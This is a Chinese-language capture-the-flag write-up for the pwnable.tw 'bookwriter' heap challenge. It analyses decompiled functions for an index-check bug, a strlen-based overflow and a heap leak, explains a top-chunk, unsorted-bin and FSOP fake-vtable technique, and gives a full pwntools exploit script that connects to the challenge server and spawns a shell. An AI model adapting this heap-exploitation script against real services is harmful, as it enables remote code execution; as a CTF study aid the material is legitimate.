pwnable_bookwriter

执行fsop的条件:

  1. fp->_mode<=0
  2. fp->_IO_write_ptr>fp->_IO_write_base

​ 或者(主要是前者)

  1. fp->_mode > 0
  2. _IO_vtable_offset (fp) == 0
  3. fp->_wide_data->_IO_write_ptr>fp->_wide_data->_IO_write_bas

主要漏洞:

​ 第一个是因为通过程序可以看出内存里只够存取8个chunk,但是在add函数中确实一个i>8的判断,而存储chunk地址的相邻位置就是存取size的地址,那么就会有一个大字节溢出覆盖

​ 第二个是在edit函数中有一个溢出就是可以通过strlen来将size扩大,慢慢的可以有一个无穷堆溢出

​ 第三个就是在Author更改的时候即infor函数中是通过%s来读取的这样就可以泄露一个堆的地址

静态分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
read_author();
while ( 1 )
{
menu();
switch ( sub_4008CD() )
{
case 1LL:
add();
break;
case 2LL:
view();
break;
case 3LL:
edit();
break;
case 4LL:
information();
break;
case 5LL:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}

可见就是一个常规的功能程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int sub_4009AA()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 ) // 9个?
return puts("You can't add new page anymore!");
if ( !(&qword_6020A0)[i] ) // 6020A0上存的是malloc的地址
break;
}
printf("Size of page :");
size = sub_4008CD();
v2 = (char *)malloc(size);
if ( !v2 )
{
puts("Error !");
exit(0);
}
printf("Content :");
similar_read((__int64)v2, size);
(&qword_6020A0)[i] = v2;
qword_6020E0[i] = size; // 6020E0上存储size
++dword_602040; // 602040上存的是chunk的个数
return puts("Done !");
}

这里有个漏洞if ( i > 8 ) 判断有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = sub_4008CD();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !(&qword_6020A0)[v1] )
return puts("Not found !");
printf("Content:");
similar_read((__int64)(&qword_6020A0)[v1], qword_6020E0[v1]);
qword_6020E0[v1] = strlen((&qword_6020A0)[v1]);// 溢出点,填满之后size变大
return puts("Done !");
}

这里也一个溢出点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 information()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Author : %s\n", byte_602060);
printf("Page : %u\n", (unsigned int)dword_602040);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
read_author();
return __readfsqword(0x28u) ^ v2;
}

漏洞的利用

​ 整个程序中没有free,因此大多数的手法是使用不了的,而这道题要用到一个FSOP手法来getshell

​ 利用点1:通过覆写top chunk的size大小为fe1之后再申请一个不大于mmap的极限值又大于top chunk的size就可以将top chunk释放到unsorted bin中

​ 利用点2:泄露libc地址,因为源码中显示在分割unsortedbin的chunk的时候,第一次分割会先放到相应的bin里面再分割,此时会给一个remainder进行赋值,之后便是直接分割chunk,因此可以add两个chunk便可以通过覆写fd来输出bk

​ 利用点3:可以利用unsorted bin attack将IO_list_all进行覆写,之后IO_list_all会到main arena+88,之后只要满足overflow的条件,再构造一个vtable,改写vtable里的overflow的地址,就可以malloc一个实现getshell(注意此时函数的参数是IO_list_all的地址)

附上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *

#p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"})
p = remote("chall.pwnable.tw", 10304)
elf = ELF("./bookwriter")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

def send_choice(idx:int):
p.recvuntil(b"Your choice :")
p.sendline(str(idx).encode())

def add(size, content):
send_choice(1)
p.recvuntil(b"Size of page :")
p.sendline(str(size).encode())
p.recvuntil(b"Content :")
p.send(content)

def view(idx:int):
send_choice(2)
p.recvuntil(b"Index of page :")
p.sendline(str(idx).encode())

def edit(idx:int, content):
send_choice(3)
p.recvuntil(b"Index of page :")
p.sendline(str(idx).encode())
p.recvuntil(b"Content:")
p.send(content)

def info(new_author=None):
send_choice(4)
p.recvuntil(b"(yes:1 / no:0)")
if new_author != None:
p.sendline(b"1")
p.recvuntil(b"Author :")
p.send(new_author)
else:
p.sendline(b"0")

def exit():
send_choice(5)

def exp():
# const
bss_author = 0x602060
bss_catalog = 0x6020a0
bss_sizelist = 0x6020e0

# set author
author = b"a"*(0x40-0x2) + b"||"
p.recvuntil(b"Author :")
p.send(author)

add(0x18, b"aaa")

edit(0, b"a"*0x18)
edit(0, b"a"*0x18+b"\xe1\x0f\x00")
info()
add(0x78, b"aaaaaaaa")
view(1)

p.recvuntil(b"Content :\naaaaaaaa")
libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3c4188
system = libc_base + libc.symbols[b"system"]
stdout = libc_base + 0x3c5620
io_list_all = libc_base + libc.symbols[b"_IO_list_all"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("stdout:", hex(stdout))
print("io_list_all:", hex(io_list_all))

send_choice(4)
p.recvuntil(b"||")
heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
heap_base = heap_leak - 0x10
print("heap_leak:", hex(heap_leak))
print("heap_base:", hex(heap_base))
p.sendafter(b"(yes:1 / no:0)", b"0\n")

chunk1_addr = heap_base + 0x20
print("chunk1_addr:", hex(chunk1_addr))

edit(0, b"\n")
for i in range(7):
add(0x58, b"bbbb")

pad = b"a"*0x330

data = b'/bin/sh\x00'
data += p64(0x61)
data += p64(0xdeadbeef)
data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10)
data += p64(2)
data += p64(3)
data = data.ljust(0xc0, b'\x00')
data + p64(0xffffffffffffffff)
data = data.ljust(0xe0-8, b'\x00')
vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system'])
vtable_addr = heap_base + 0x420
data += p64(vtable_addr)
data += vtable
edit(0, pad+data)
edit(0, b"\n")

send_choice(1)
p.recvuntil(b"Size of page :")
p.sendline(b"16")

#gdb.attach(p)

p.interactive()

if __name__ == "__main__":
exp()

然后就打通了 附上构造图表

top chunk
/bin/sh\0 0x61
随意 IO_list_all-0x10
2 3
0 0
0 0
0 0
0 0
0 0
0 0
fffffffffffffff 0
0 0
0 0
0 0
0 vtable_addr
vtable(其实这里就是vtable的首地址)
vtable addr
0 0
0 system_addr